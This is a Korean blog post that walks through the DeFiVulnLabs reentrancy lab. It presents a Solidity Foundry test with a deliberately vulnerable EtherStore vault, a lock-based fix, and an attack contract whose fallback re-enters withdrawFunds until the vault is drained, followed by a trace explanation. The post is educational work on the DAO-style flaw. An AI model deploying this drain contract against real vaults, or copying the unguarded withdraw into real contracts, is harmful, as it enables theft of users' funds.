새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Reentrancy

  • -
반응형

Reentrancy

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "forge-std/Test.sol";

// EtherStore is a simple vault, it can manage everyone's ethers.
// But it's vulnerable, can you steal all the ethers ?

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}

contract EtherStoreRemediated {
    mapping(address => uint256) public balances;
    bool internal locked;

    modifier nonReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}

contract ContractTest is Test {
        EtherStore store;
        EtherStoreRemediated storeRemediated;
        EtherStoreAttack attack;
        EtherStoreAttack attackRemediated;
    
    function setUp() public { 
        store = new EtherStore();
        storeRemediated = new EtherStoreRemediated();
        attack = new EtherStoreAttack(address(store));
        attackRemediated = new EtherStoreAttack(address(storeRemediated));
        vm.deal(address(store), 5 ether);  
        vm.deal(address(storeRemediated), 5 ether);
        vm.deal(address(attack), 2 ether); 
        vm.deal(address(attackRemediated), 2 ether);  
    }

function testReentrancy() public {
        attack.Attack();  // exploit here
 
    }

function testFailRemediated() public {
        attackRemediated.Attack();
     }
}



contract EtherStoreAttack is DSTest { 
    EtherStore store;
    constructor(address _store) public {
        store = EtherStore(_store);
    }

    function Attack() public {   
        emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
        store.deposit{value: 1 ether}();  
        emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);
        emit log_string("==================== Start of attack ====================");
        store.withdrawFunds(1 ether);   // exploit here
        emit log_string("==================== End of attack ====================");
        emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);
        emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);
    }

    fallback() external payable {
        emit log_named_decimal_uint("EtherStore balance", address(store).balance, 18);
        emit log_named_decimal_uint("Attacker balance", address(this).balance, 18);
        if (address(store).balance >= 1 ether) {
            emit log_string("Reenter");
            store.withdrawFunds(1 ether);   // exploit here
        }
    }
}

코드 test의 결과이다.

계속 Reenter를 해서 EtherStore balance를 0으로 만들고 Attacker가 전부 가져갔다.

Trace를 분석해보자

첫 공격 때 Attacker가 EtherStore에 1 ether 기부한다. 그리고 1 ether를 출금하는 데 fallback()함수로 가서 EtherStore가 Attacker에거 1 ether를 주고 재진입을 한다. 다시 withdraw() 함수로 가서 과정을 반복하는 데 EtherStore의 Balance가 0일 될때까지 반복한다.

이 공격을 재진입 공격이라고 하는 데 코드랑 같이 살펴보자.

Attack() 함수를 보면 store에 1 ether를 기부한다. 그리고 다시 1 ether를 출금을 요청한다.

withdrawFunds() 함수가 문제가 있는 데 일단 흐름을 살펴 보면 msg.sender의 잔액이 출금할 금액 보다 큰지 확인 한다. 그리고 msg.sender에 출금할 금액을 보낸다. 만약 성공하면 잔액을 차감한다. 단순히 흐름만 보면 문제가 없다.

그냥 출금할 돈을 주고 차감하는거 아닌가?? 이런 생각이 들 수도 있다.

withdrawFunds함수의 msg.sender는 EtherStoreAttack Contract의 주소이다. withdrawFunds() 함수가 EtherStoreAttack에게 돈을 보내면 EtherStoreAttack의 fallback() 함수가 실행이 된다. 그리고 fallback()이 return이 되면 다음 require이 실행이 된다.

그럼 여기서 의문이 드는 게 fallback() 함수안에 다시 withdrawFunds() 함수를 call하면 어떻게 될까??

자 Attacker는 1 ether를 지불하고 withdrawFunds() 함수를 호출했다. fallback() 함수로 가면 Attacker는 1 ether를 받고, EtherStore의 balance또한 감소할 것이다. 그런데 해당 사용자의 balances 즉 기부금은 감소가 되지 않는다.

이런 메커니즘이면 EtherStore의 balance가 0이 되거나 call stack이 초과할 때까지 무한적으로 재진입을 한다.

그래서 이상하다는 것이다.

 

단순히 함수만 보면 흐름이 맞는 데 전체적인 흐름에서는 치명적인 오류가 있다.

대표적으로 DAO 해킹 사건이 이 attack vector로 해킹을 당했다.

Vulnerability

function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{
	require(balances[msg.sender] >= _weiToWithdraw);
    (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
    require(send, "send failed");
    balances[msg.sender] -= _weiToWithdraw;
}

exploit

function Attack() public {   
    store.withdrawFunds(1 ether);   // exploit here
 }

fallback() external payable {
    if (address(store).balance >= 1 ether) {
        store.withdrawFunds(1 ether);   // exploit here
    }
}
반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.